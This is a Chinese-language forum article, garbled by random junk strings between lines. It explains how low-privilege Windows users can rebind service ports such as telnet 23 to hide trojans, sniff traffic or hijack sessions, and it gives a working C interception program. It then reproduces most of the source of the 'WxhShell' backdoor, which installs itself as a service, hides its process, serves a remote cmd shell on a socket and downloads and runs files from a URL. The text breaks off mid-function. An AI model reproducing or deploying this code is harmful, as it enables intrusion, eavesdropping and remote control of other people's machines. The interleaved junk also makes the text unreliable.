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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9Q1%+zjjMq s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +S{m!j%B zls^JTE saddr.sin_family = AF_INET; 50MM05aC Tm`@5 saddr.sin_addr.s_addr = htonl(INADDR_ANY); rT `sY !kSemDC bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3?B1oIHQ lWc[Q1 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 PaSwfjOnqr MQP9^+f)O? 这意味着什么?意味着可以进行如下的攻击:
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4dbX!0u1l 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,?yjsJd. f4p*!e 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
b*Qd9 IIAp-Y~B 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 W_wC"?A% \NNA" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 eA1g}ipm ~+' f[!^ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \Hp!NbnF$ _9=87u0 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `e ZDG ~a_hOKU5 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1T#-1n%[k( DPf].i# #include cI[i v #include gqv+|:# #include IER;d\_V< #include ;cVK2' DWORD WINAPI ClientThread(LPVOID lpParam); igQzL*X int main() j(y<oxh { #MYoy7= WORD wVersionRequested; i]<@ DWORD ret; GgEg (AT WSADATA wsaData; z/91v#}. BOOL val; 6H0kY/quL| SOCKADDR_IN saddr; f1:>H.m`
SOCKADDR_IN scaddr; -Cvd3%Jje int err; 'ij+MU1 SOCKET s; ,IhQ %)l SOCKET sc; cy@oAoBq int caddsize; )$p36dWl HANDLE mt; 3_@IE2dA DWORD tid; >q;|
dn9 wVersionRequested = MAKEWORD( 2, 2 ); uB+#<F/c err = WSAStartup( wVersionRequested, &wsaData ); GOxP{d? if ( err != 0 ) { OD}Uc+;K printf("error!WSAStartup failed!\n"); f=91
Z_M return -1; ,$!fyi[;C } =A5i84y.2u saddr.sin_family = AF_INET; #^RIp>NN9 nP*DZC0kE& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 N=u(
3So qf K
gNZ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7J3A]>qU saddr.sin_port = htons(23); kmBA if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _L)LyQD]T { z@UH[>^gj printf("error!socket failed!\n"); @wD#+Oz
return -1; O)^F z: } kR1
12J9P val = TRUE; ]foS.D, //SO_REUSEADDR选项就是可以实现端口重绑定的 ,sj(g/hg if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) c
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{ )PR`irw printf("error!setsockopt failed!\n"); <,O|fY% return -1; yUcU-pQ } 4%}iKoT
//如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; G-D}J2r=F //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ox
,Rk //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [.l,#-vp Y|mtQE?c if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0;a1 0b { !JdZ0l ret=GetLastError(); 0Bgj.?l printf("error!bind failed!\n"); a:P+HU: return -1; %d:cC:` } q !}~c listen(s,2); vZQraY nJ while(1) R,.qQF\* { yuq o ^i caddsize = sizeof(scaddr); lw8t#_P //接受连接请求 Jm=3%H sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @=g{4(zR^ if(sc!=INVALID_SOCKET) DCa=o { ;]R5:LbXS mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); KKk<wya&O if(mt==NULL) Y A+R!t:F{ { d?5oJ'JU printf("Thread Creat Failed!\n"); 2 .Xx)(> break; 9[~.{{Y } PQi(Oc } V,Bol(wY CloseHandle(mt); a-#$T)mmfj } a"}ndrc* closesocket(s); ]/p>p3@1C WSACleanup(); Q-iBK*-w return 0; I<W<;A } k N* I_# DWORD WINAPI ClientThread(LPVOID lpParam) ?w'03lr% { owa&HW/_ SOCKET ss = (SOCKET)lpParam; sOz
{spA SOCKET sc; 0WZd $ unsigned char buf[4096]; ^[I>#U SOCKADDR_IN saddr; (3K,f4S@ long num; /^K-tz-R DWORD val; \0i0#Dt9 DWORD ret; U
|eh //如果是隐藏端口应用的话,可以在此处加一些判断 AH#a+<;a //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 6e|uA7i4 saddr.sin_family = AF_INET; U$@}!X saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); PXl%"O%d saddr.sin_port = htons(23); 1D1kjM^Bo if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?]*"S{Cq v { 6%9 kc+
9 printf("error!socket failed!\n"); ,<7HLV return -1; \ %xku: } butBS val = 100; B)d 4]]4\\ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "Qc4v@~) { Jzp|#*~$E ret = GetLastError(); Z6So5r%wZ return -1; E>|fbaN-% } Dg Rn^gL{Q if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a&kt!%p: { B$OV^iwxK ret = GetLastError(); 4F -<j! return -1; 7^!iGhI]r } xqDz*V/mD if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $PlMyLu7jc { x!7!)]h printf("error!socket connect failed!\n"); i$.! 8AV6 closesocket(sc); ]l=CiG4!M closesocket(ss); L*rCUv ` return -1; D\-DsT.H } nXuy&;5TL, while(1) 0e:j=kd)NH { pL*aU=FjQ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Wj)v,v2& //如果是嗅探内容的话,可以再此处进行内容分析和记录 (bpxj3@R //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 gLFSZ num = recv(ss,buf,4096,0); mU[ if(num>0) SEWdhthP send(sc,buf,num,0); k:mW ,s|a else if(num==0) 3C;;z break; 6xr%xk2E num = recv(sc,buf,4096,0); z t if(num>0) }0/l48G send(ss,buf,num,0); V<}chLd, else if(num==0) WS@"8+re; break; 3 l
j^I } EIpz-"S closesocket(ss); B<.ZW}#v closesocket(sc); m.gv? return 0 ; ; Ob^@OM } roi,?B_8 7 > _vH] FLG{1dS ========================================================== 0=9$k =RM]/O9 下边附上一个代码,,WXhSHELL mYk~ ]a- |~v2~
========================================================== LF{8hC[ E
KJ2P$ #include "stdafx.h" w}97`.Kt!n {XC[Ia6jtL #include <stdio.h> pOB<Bx5t #include <string.h> K|D1 #include <windows.h> 5]kv1nQ #include <winsock2.h> }dU!PZ9N) #include <winsvc.h> Lv)1
)'v0 #include <urlmon.h> yYTOp^ !X[7m #pragma comment (lib, "Ws2_32.lib") ^FTS'/Q #pragma comment (lib, "urlmon.lib") pz{ ]O_px k|jr+hmn": #define MAX_USER 100 // 最大客户端连接数 .WBp!*4 #define BUF_SOCK 200 // sock buffer v@fy*T\3 #define KEY_BUFF 255 // 输入 buffer Aeq^s qJ~fEX #define REBOOT 0 // 重启 7?vj+1; #define SHUTDOWN 1 // 关机 CLuQ=-[| HqyAo]{GN #define DEF_PORT 5000 // 监听端口 zW`a]n. s._,IW;
#define REG_LEN 16 // 注册表键长度 g">^#^hBE #define SVC_LEN 80 // NT服务名长度 {=,I>w]T|W S`TQWWQo; // 从dll定义API y M-k]_ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CFoR!r:X typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r&F
6ZCw typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4`o<e)c3 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \0e`sOS`L nYBa+>3BDf // wxhshell配置信息 ^nFP#J)_5 struct WSCFG { ?1LRR
;-x int ws_port; // 监听端口 Q^xk]~G$( char ws_passstr[REG_LEN]; // 口令 }Q6o#oZ int ws_autoins; // 安装标记, 1=yes 0=no v@J[qpX char ws_regname[REG_LEN]; // 注册表键名 {DUtdu[ char ws_svcname[REG_LEN]; // 服务名 u&o$2
'8 char ws_svcdisp[SVC_LEN]; // 服务显示名 [;~"ctf{ char ws_svcdesc[SVC_LEN]; // 服务描述信息 nuA
0%K char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *q[;-E(fZ# int ws_downexe; // 下载执行标记, 1=yes 0=no 6 =G=4{q char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 5x,/p char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e:rbyzf# ]8'PLsS9<w }; t4hc X[
&Du S* // default Wxhshell configuration ['K}p24, struct WSCFG wscfg={DEF_PORT, N9rAosO* "xuhuanlingzhe", bu08`P9 1, 8 0o'=E}" "Wxhshell", VZ
7(6?W "Wxhshell", )$d~HA@B "WxhShell Service", Krl9O]H/[ "Wrsky Windows CmdShell Service", 7 Z?
Hyv "Please Input Your Password: ", uZI7,t -7 1, H9!q)qlK " http://www.wrsky.com/wxhshell.exe", OpK_?XG "Wxhshell.exe" (zk/>Ou }; ovi^bNQ uK ,W // 消息定义模块 :V_UJ3xf char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0f'LXn char *msg_ws_prompt="\n\r? for help\n\r#>"; 59+KOQul6 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; kZi/2UA5Z char *msg_ws_ext="\n\rExit."; dB:c2 char *msg_ws_end="\n\rQuit."; {:Kr't<XzF char *msg_ws_boot="\n\rReboot..."; ?|\wJrM ] char *msg_ws_poff="\n\rShutdown..."; B`jq"[w]- char *msg_ws_down="\n\rSave to "; 0y+i?y
9 2n-kJl`: O char *msg_ws_err="\n\rErr!"; h[<l2fy char *msg_ws_ok="\n\rOK!"; Qam48XZ > H4sc7- char ExeFile[MAX_PATH]; 1<*U:W
$g int nUser = 0; }WBHuVcZG HANDLE handles[MAX_USER]; q1ZZ T"' int OsIsNt; @S>;t)\J Ap4.c8f?Q- SERVICE_STATUS serviceStatus; $~%h4 SERVICE_STATUS_HANDLE hServiceStatusHandle; )%lPKp4] {2i8]Sp1d/ // 函数声明 K%Bz6 ~ int Install(void); V\l@_%D[(v int Uninstall(void); `82Dm!V int DownloadFile(char *sURL, SOCKET wsh); 4GXS( int Boot(int flag); <z>oY2% void HideProc(void); $q.}eb0 int GetOsVer(void); $TK= :8HY int Wxhshell(SOCKET wsl); a(ml#-M void TalkWithClient(void *cs); pUW7p int CmdShell(SOCKET sock); ;BKU
_}k= int StartFromService(void); (Q8r2*L int StartWxhshell(LPSTR lpCmdLine); cL~YQJYp ^6LnB#C& VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dep"$pys> VOID WINAPI NTServiceHandler( DWORD fdwControl ); j0(jXAc;UB 5OX[)Li // 数据结构和表定义 !+QfQghAT SERVICE_TABLE_ENTRY DispatchTable[] = k]`-Y E { nb6Y/`G {wscfg.ws_svcname, NTServiceMain}, KeXt"U {NULL, NULL} aUA)p}/: }; tCar:p4$ #3'M>SaoH // 自我安装 vbZ!NO!H int Install(void) <iGW~COd { >7S@3,C3ke char svExeFile[MAX_PATH]; ]]3rSXs2}J HKEY key; ~P;A
9A(k strcpy(svExeFile,ExeFile); U=U5EdN; AYpvGl' // 如果是win9x系统,修改注册表设为自启动 (oG.A if(!OsIsNt) { U4yl{? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pVrY';[,| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~!cxRd5;F RegCloseKey(key); V
w58w`e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8F@Sy,D RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "Wr[DqFd RegCloseKey(key); vUOl@UQ5 return 0; 4z9lk^#"X } x}V&v?1{5 } ^H{YLO } \xv(&94U else { G.v(2~QFd {8`$~c // 如果是NT以上系统,安装为系统服务 k}NM]9EAE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P8ZmrtQm if (schSCManager!=0) Y:, rN { ?:-:m'jdU SC_HANDLE schService = CreateService K}^#VlY9 ( As`=K$^Il. schSCManager, -5ZmIlL.S wscfg.ws_svcname, u]9\_{c]Q wscfg.ws_svcdisp, r@bh,U$ SERVICE_ALL_ACCESS, T#*H SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zNdkwj p+ SERVICE_AUTO_START, ASre@pW SERVICE_ERROR_NORMAL, 5,g +OY=\ svExeFile, s(J>yd= NULL, FF!PmfF' NULL, Xc}XRKiy{ NULL, <c:H u{D NULL, evYn} NULL o)^Wz ); jX(hBnGW if (schService!=0) ( }Bb=~ { GQ>0E CloseServiceHandle(schService); ~1[n@{*: ( CloseServiceHandle(schSCManager); Hbd>sS strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w`V6vYd@ strcat(svExeFile,wscfg.ws_svcname); AX<f$%iqD if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y0A(-" RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;FRUB@: RegCloseKey(key); uLWu. Vx return 0; .kn2M&P>= } a#;;0R $ } |5O>7~Tp CloseServiceHandle(schSCManager); $~W5! m } }u=Oi@~ } ^2+Vt=* .9PT)^2 return 1; ) ba~7A } |iUC\F=- g$?^bu dxv // 自我卸载 Q{L:pce- int Uninstall(void) r~ 2*'zB { x3+{Y HKEY key; EG\;l9T 6w,"i#E! if(!OsIsNt) { %Uz\P|6PO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b/]4#?g RegDeleteValue(key,wscfg.ws_regname); jy?*` q1] RegCloseKey(key); f17E2^(I(} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }^ ,D~b-nB RegDeleteValue(key,wscfg.ws_regname); 31a lQ\TH RegCloseKey(key); M(LIF^'U:m return 0; {7z]+ h } Rqp#-04*W } .hR
<{P } #~"IlBk\ else { Y%;X7VxU* MJ1qU}+] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X.k8w\~ if (schSCManager!=0) V<jj'dZfW { }6/M5zF3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H>+])~# if (schService!=0) fe98Y-e { PQ[?zNrSV if(DeleteService(schService)!=0) { X )tH23 CloseServiceHandle(schService); -bzlp7q* CloseServiceHandle(schSCManager); 5~@-LXqL return 0; $["HC-n?.k } j2UQQFh CloseServiceHandle(schService); ['.]) } 1ruI++P CloseServiceHandle(schSCManager); h%ys::\zF } Vb\g49\o/ } L'?aoRj M-Efe_VRQc return 1; L%is"NZh } >RkaFcq 8X"4RyNSn // 从指定url下载文件 cOX )+53 int DownloadFile(char *sURL, SOCKET wsh) rSJ!vQo
Cb { t:fz%IOe HRESULT hr; fI<LxU_n: char seps[]= "/"; O8A1200 char *token; f(D'qV T{ char *file; uH%b rbrU char myURL[MAX_PATH]; PR:B6 F8 char myFILE[MAX_PATH]; A+* lV*@0 Mh-"B([Z strcpy(myURL,sURL); Sl,DZ! token=strtok(myURL,seps); jc
Mn while(token!=NULL) o?>0WSLlm { ]$r]GVeN}H file=token; yVmp,""a token=strtok(NULL,seps); aO&{.DO2 } A_wf_.l4h RdWn =; GetCurrentDirectory(MAX_PATH,myFILE); KYm8|]'g strcat(myFILE, "\\"); s0f+AS|} strcat(myFILE, file); )__sw send(wsh,myFILE,strlen(myFILE),0); -6kX?sNl)X send(wsh,"...",3,0); D5P-$1KPt hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jc9C|r if(hr==S_OK) Xpg-rxX return 0; .eD&UQ else jsE8=zZs return 1; I!*P' {lh B]G2P`sN } ]A%3\)r 0j!3\=P$ // 系统电源模块 NeY*l int Boot(int flag) 1n^N`lD8]6 { 20|_wAA5 HANDLE hToken; !<:Cd(bM TOKEN_PRIVILEGES tkp; XKky-LeJ <$z[pw< if(OsIsNt) { #C&';HB;y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s_NY#MPz[ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q^2dZXk~ tkp.PrivilegeCount = 1; '2lzMc>wvP tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0<!9D):Bb AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q&-mbWBj if(flag==REBOOT) { P ljPhAce if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xn2 nh@; return 0; vkTu:3Qe } 4uOR=+/l else { |JIlp"[ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZL<X*l2 return 0; F8-GnTxa } %"mI["{ } q *&H else { c8X;4
My if(flag==REBOOT) { ]j>xQm\ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uK" T~ return 0; $\J5l$tU } p-.kBF else { O^8ZnN_+ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;O`f+rG~ return 0; dfdK%/' $( } e7;7TrB. } :KO&j"[ j;`Q82V\ return 1; #Pg`0xiV } !VWA4 e!+ P-4$Qksx // win9x进程隐藏模块 3=uhy|f! / void HideProc(void) 7@<.~*Bl6 { EO)JMV?6 G]rY1f0 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t/Io.d if ( hKernel != NULL ) MygAmV& { D8L5t<^1R pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D2&d",%&f ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JyE-c}I FreeLibrary(hKernel); xcW\U^1d } 1}wDc$O 9lYfII}4( return; BC.3U.
} d9S/_iCI ny13+Q`^ // 获取操作系统版本 .S54:vs int GetOsVer(void) ]?VVwft { b:F;6X0~Hl OSVERSIONINFO winfo; iuY,E winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xS1n,gTA GetVersionEx(&winfo); USyc D` if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )v;O2z return 1; B=d<L^ else I+kAy;2 return 0; S~aWun } 1}\p:` 3Sfd|0^ // 客户端句柄模块 k^%=\c int Wxhshell(SOCKET wsl) LhLAQ2~ { ; H ;h[ SOCKET wsh; /lC# !$9vz struct sockaddr_in client; +I3Vfv DWORD myID; Q ")Xg: >IaGa!4 while(nUser<MAX_USER) oIick { BQPmo1B int nSize=sizeof(client); $XQgat@&] wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \09A"fs{ if(wsh==INVALID_SOCKET) return 1; fVn4=d6X O +o)z6( handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0}<blU if(handles[nUser]==0) )&O2l closesocket(wsh); aDRcVA$* else x[{\Aw>$. nUser++; V _~lME } &q<k0_5Q WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Nksm&{=6S ]6Iu\,#J return 0; ,VVA^'+ } ys=}
V| D?_K5a&v, // 关闭 socket "G@K(bnHn void CloseIt(SOCKET wsh) eB#I-eD { y5eEEG6 closesocket(wsh); UnK7&Uo nUser--; a4ViVy ExitThread(0); ]\^O(BzB } {BJ>x:2 ir}z^+ // 客户端请求句柄 _ VuWo void TalkWithClient(void *cs) &qg6^& { yx|iZhK0:} y-E'Y=j SOCKET wsh=(SOCKET)cs; Q O =5Q char pwd[SVC_LEN]; L/rf5||@ char cmd[KEY_BUFF]; P{A})t7 char chr[1]; :L@;.s int i,j; ~o_JZ: L-`V^{R] while (nUser < MAX_USER) { j#p;XI r&8aB85 if(wscfg.ws_passstr) { bss2<mqlH if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2|bt"y-5r //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PyfWIU7O //ZeroMemory(pwd,KEY_BUFF); $(D>v!dp i=0; 5.VPK 338A while(i<SVC_LEN) { eaf-_#qb ]#G s6CsT| // 设置超时 eAW)|=2 fd_set FdRead; :^kAFLU struct timeval TimeOut; a,oTU\m
C FD_ZERO(&FdRead); PoaCnoNS FD_SET(wsh,&FdRead); y\_+,G0 TimeOut.tv_sec=8; FcM)v"bF&] TimeOut.tv_usec=0; 1?&|V1vc int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); eXKEx4rU if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;&=jSgr8 ;av!fK if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Dc0=gq0 pwd =chr[0]; !+3&%vQ) if(chr[0]==0xd || chr[0]==0xa) { U3&GRY|## pwd=0; 3;L$&X2 break; d\>XfS } z"mVE T i++; \
86g y/ } OD~Q|I(j :dW\Q&iW // 如果是非法用户,关闭 socket LA;f,CQ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2!-Q!c`y } `W1uU=c 0M;g&&mF send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >s/_B//[ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [;ZCq!)> R*bx&..< while(1) { K*5gb^Ul h.K"v5I* ZeroMemory(cmd,KEY_BUFF); Ew0)MZ.# w =F9> // 自动支持客户端 telnet标准 o;6~pw% j=0; wb62($ while(j<KEY_BUFF) { q`p0ul,n if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !T<,fR+8X cmd[j]=chr[0]; X(/fE?%; if(chr[0]==0xa || chr[0]==0xd) { VX8rM!3 cmd[j]=0; 1_{ e*=/y break; }i^M<A O }
a k5D j++; =aB+|E } >/\TG8t,f Crc6wmp // 下载文件 NTq_"`JjZ if(strstr(cmd,"http://")) { s~Ivq+ipr; send(wsh,msg_ws_down,strlen(msg_ws_down),0); k-jFT3b$ if(DownloadFile(cmd,wsh)) S6M7^_B4F send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^&&Wv'7XQ else {,5.svO send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `5- ;'nX } <VD7(j]'^ else { 2fkyz 4RDY_HgF6 switch(cmd[0]) { *-=/"m &Y1h=,KR9 // 帮助 f4pIF"U9> case '?': { ?J2A.x5`a send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \LJ!X3TZ break; @#hQ0F8 } (5]
[L<L // 安装 I N3-ZNx case 'i': { }^$#vJ(a7K if(Install()) ffk>IOH send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sydl[c pH$ else W3[>IH"+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {f/]K GGk break; vmNo~clt\ } %Y0lMNP // 卸载 Z{vc6oj case 'r': { u:J(0re if(Uninstall()) T"htWo{v> send(wsh,msg_ws_err,strlen(msg_ws_err),0); JZ`u?ZaJ/s else l@SV!keQ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0#Gm# =F break; "gNi}dB<] } CC^]Y.9 // 显示 wxhshell 所在路径 <EqS
,cO^ case 'p': { Dn<3#V char svExeFile[MAX_PATH]; 4 ;_g9] strcpy(svExeFile,"\n\r"); }=f\WWJf0 strcat(svExeFile,ExeFile); L44|/~ send(wsh,svExeFile,strlen(svExeFile),0); ~6t<`&f break; 7l-MVn_8 } =U~53Tg // 重启 hwUb(pZ case 'b': { g4q{
] send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |in>`:qk if(Boot(REBOOT)) e}5x6t send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~*3Si(4l/ else { ~Qif-|[V closesocket(wsh); Z0H_l/g ExitThread(0); VXZYRr3F } bx2<WdLyT break; bn|HvLQ"1 } ncadVheKt // 关机 6?5dGYAX< case 'd': { !L;_f'\)6 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vG6*[c8 if(Boot(SHUTDOWN)) lFf>z}eLy send(wsh,msg_ws_err,strlen(msg_ws_err),0); }U=}5`_]D else { D"$ 97 closesocket(wsh); T]Q4=xsv ExitThread(0); ';\norx; } shdzkET8N break; WYRC_U7 } QsKnaRT // 获取shell {~]5QKg. case 's': { l#C<bDw CmdShell(wsh); 1F>8#+B/W closesocket(wsh); wKdWE`|y ExitThread(0); 6K7lQ!#}Q break; h3E}Sa(MQ: } ,)U%6=o#} // 退出 _l]
0V
g` case 'x': { D]fgBW- send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n|WSnm,W CloseIt(wsh); o3Yb2Nw break; QsPg4y3?D } r2tE!gMC // 离开 xc-[gt6 case 'q': { Qt\:A!'jw send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9a@S^B> closesocket(wsh); P//nYPyzg WSACleanup(); ^PE|BCs exit(1); (bsywM break; yz,_\{} } '`gnJX
JO } S['%> } ]qZj@0#7n W,,3@: // 提示信息 m4uh<;C~ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dm_Pz\* } qp*~| } ,hJx3g5#n WoNJF6=? return; *1-0s*T } HD{u#~8{ 3&E@#I^], // shell模块句柄 EJz!#f~ int CmdShell(SOCKET sock) .
WJ { Q~Nq5[ STARTUPINFO si; +B8oW3v# ) ZeroMemory(&si,sizeof(si)); bUy!hS;s si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;B2kot7 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rFt+Y}) PROCESS_INFORMATION ProcessInfo; gkTwGI+w char cmdline[]="cmd"; -;6uN\gq CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r$M<vo6C return 0; &xUCXj2-z } \Js*>xA
Nk%$;Si // 自身启动模式 XmwR^ int StartFromService(void) Hr] { ~#so4<A`3 typedef struct #~m^RoE { Exv!!0Cd^ DWORD ExitStatus; iu{;|E DWORD PebBaseAddress; WC_U'nTu4 DWORD AffinityMask; AK'3N1l` DWORD BasePriority; m=COF$< ULONG UniqueProcessId; 3qu?qD ULONG InheritedFromUniqueProcessId; 0S+$l } PROCESS_BASIC_INFORMATION; }9B}, dEkS T[Y3 PROCNTQSIP NtQueryInformationProcess; Ed;!A(64r zA|lbJz=GY static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9' H\- static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W:WRG8(F 3 %r*~#nz HANDLE hProcess; 45Zh8 k PROCESS_BASIC_INFORMATION pbi; o&k,aCQC *yZta:(w-W HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >}0H5Q8@ if(NULL == hInst ) return 0; 